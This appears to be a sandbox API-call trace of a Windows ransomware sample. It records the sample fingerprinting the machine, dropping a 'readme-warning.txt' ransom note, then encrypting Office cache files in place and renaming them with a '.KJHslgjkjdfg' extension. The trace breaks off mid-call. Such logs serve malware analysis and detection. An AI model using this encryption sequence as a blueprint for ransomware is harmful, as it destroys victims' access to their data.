[0152.640] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c898, pdwDataLen=0x4dff0a8) returned 1 [0152.640] CryptDestroyKey (hKey=0x2f18248) returned 1 [0152.640] GetProcessHeap () returned 0x2ef0000 [0152.640] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0152.640] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0152.640] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8) returned 1 [0152.641] CryptDestroyKey (hKey=0x2f18248) returned 1 [0152.641] GetProcessHeap () returned 0x2ef0000 [0152.641] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3e278 [0152.641] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0152.641] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3e278, pdwDataLen=0x4dff0a8 | out: pbData=0x2f3e278, pdwDataLen=0x4dff0a8) returned 1 [0152.641] CryptDestroyKey (hKey=0x2f18248) returned 1 [0152.641] GetProcessHeap () returned 0x2ef0000 [0152.641] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0152.641] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0152.641] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfec88 | out: pbData=0x2f0c928, pdwDataLen=0x4dfec88) returned 1 [0152.641] CryptDestroyKey (hKey=0x2f18248) returned 1 [0152.641] GetProcessHeap () returned 0x2ef0000 [0152.641] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0152.641] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0152.641] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfec88 | out: pbData=0x2f11778, pdwDataLen=0x4dfec88) returned 1 [0152.641] CryptDestroyKey (hKey=0x2f18248) returned 1 [0152.641] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfec84 | out: phkResult=0x4dfec84*=0xf0) returned 0x0 [0152.641] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfec90, lpcbData=0x4dfec8c*=0x400 | out: lpType=0x0, lpData=0x4dfec90*=0x30, lpcbData=0x4dfec8c*=0x18) returned 0x0 [0152.641] RegCloseKey (hKey=0xf0) returned 0x0 [0152.641] GetProcessHeap () returned 0x2ef0000 [0152.641] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0152.641] GetProcessHeap () returned 0x2ef0000 [0152.642] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0152.642] GetProcessHeap () returned 0x2ef0000 [0152.642] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0152.642] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0152.642] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfea5c | out: pbData=0x2f11778, pdwDataLen=0x4dfea5c) returned 1 [0152.642] CryptDestroyKey (hKey=0x2f18248) returned 1 [0152.642] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0152.642] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0152.642] GetProcessHeap () returned 0x2ef0000 [0152.642] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0152.642] wsprintfA (in: param_1=0x4dfeca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0152.642] wsprintfA (in: param_1=0x4dff0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0152.642] GetProcessHeap () returned 0x2ef0000 [0152.642] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3e640 [0152.642] wsprintfW (in: param_1=0x4dfe084, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\readme-warning.txt") returned 90 [0152.642] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.643] WriteFile (in: hFile=0xf0, lpBuffer=0x2f3e640*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe080, lpOverlapped=0x0 | out: lpBuffer=0x2f3e640*, lpNumberOfBytesWritten=0x4dfe080*=0x3b3, lpOverlapped=0x0) returned 1 [0152.644] CloseHandle (hObject=0xf0) returned 1 [0152.644] GetProcessHeap () returned 0x2ef0000 [0152.644] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0152.644] GetProcessHeap () returned 0x2ef0000 [0152.644] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e640 | out: hHeap=0x2ef0000) returned 1 [0152.644] GetProcessHeap () returned 0x2ef0000 [0152.644] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0152.644] GetProcessHeap () returned 0x2ef0000 [0152.644] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0152.644] FindClose (in: hFindFile=0x2f18208 | out: hFindFile=0x2f18208) returned 1 [0152.644] GetProcessHeap () returned 0x2ef0000 [0152.644] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e70 | out: hHeap=0x2ef0000) returned 1 [0152.644] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0152.644] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0152.644] GetProcessHeap () returned 0x2ef0000 [0152.644] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0152.645] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0152.645] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0152.645] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0152.645] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0152.645] GetProcessHeap () returned 0x2ef0000 [0152.645] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0152.645] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0152.645] CryptDestroyKey (hKey=0x2f18208) returned 1 [0152.645] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0152.649] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0152.649] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0152.649] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0152.649] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0152.649] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0152.650] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0152.650] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0152.650] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.650] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0xd4200, lpOverlapped=0x0) returned 1 [0152.708] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xd4200, dwBufLen=0xd4200 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xd4200) returned 1 [0153.882] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.882] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0xd4200, lpOverlapped=0x0) returned 1 [0153.885] CryptDestroyKey (hKey=0x2f18208) returned 1 [0153.885] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd42d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.885] SetEndOfFile (hFile=0x124) returned 1 [0153.888] GetProcessHeap () returned 0x2ef0000 [0153.888] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0153.888] GetProcessHeap () returned 0x2ef0000 [0153.888] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0153.888] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.kjhslgjkjdfg")) returned 1 [0153.888] CloseHandle (hObject=0x124) returned 1 [0153.889] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0153.889] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0153.889] GetProcessHeap () returned 0x2ef0000 [0153.889] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0153.889] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0153.889] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0153.889] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x5, lpOverlapped=0x0) returned 1 [0153.893] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0153.893] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0153.893] GetProcessHeap () returned 0x2ef0000 [0153.893] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0153.893] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0153.893] CryptDestroyKey (hKey=0x2f18208) returned 1 [0153.893] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0153.893] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0153.894] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0153.894] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0153.894] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0153.894] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0153.894] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0153.894] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0153.894] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.894] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x32b, lpOverlapped=0x0) returned 1 [0153.894] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x330, dwBufLen=0x330 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x330) returned 1 [0153.894] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.894] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x330, lpOverlapped=0x0) returned 1 [0153.894] CryptDestroyKey (hKey=0x2f18208) returned 1 [0153.894] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.894] SetEndOfFile (hFile=0x124) returned 1 [0153.896] GetProcessHeap () returned 0x2ef0000 [0153.896] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0153.896] GetProcessHeap () returned 0x2ef0000 [0153.896] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0153.896] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.kjhslgjkjdfg")) returned 1 [0153.898] CloseHandle (hObject=0x124) returned 1 [0153.898] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0153.898] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0153.899] GetProcessHeap () returned 0x2ef0000 [0153.899] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0153.899] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0153.899] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0153.899] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0153.906] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0153.906] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0153.906] GetProcessHeap () returned 0x2ef0000 [0153.906] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0153.906] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0153.906] CryptDestroyKey (hKey=0x2f18208) returned 1 [0153.906] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0153.906] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0153.907] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0153.907] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0153.907] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0153.907] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0153.907] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0153.907] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0153.907] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.907] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x16fc, lpOverlapped=0x0) returned 1 [0153.908] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x1700, dwBufLen=0x1700 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x1700) returned 1 [0153.908] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.908] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x1700, lpOverlapped=0x0) returned 1 [0153.909] CryptDestroyKey (hKey=0x2f18208) returned 1 [0153.909] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.909] SetEndOfFile (hFile=0x124) returned 1 [0153.910] GetProcessHeap () returned 0x2ef0000 [0153.910] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0153.910] GetProcessHeap () returned 0x2ef0000 [0153.910] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0153.910] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0153.910] CloseHandle (hObject=0x124) returned 1 [0153.911] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: 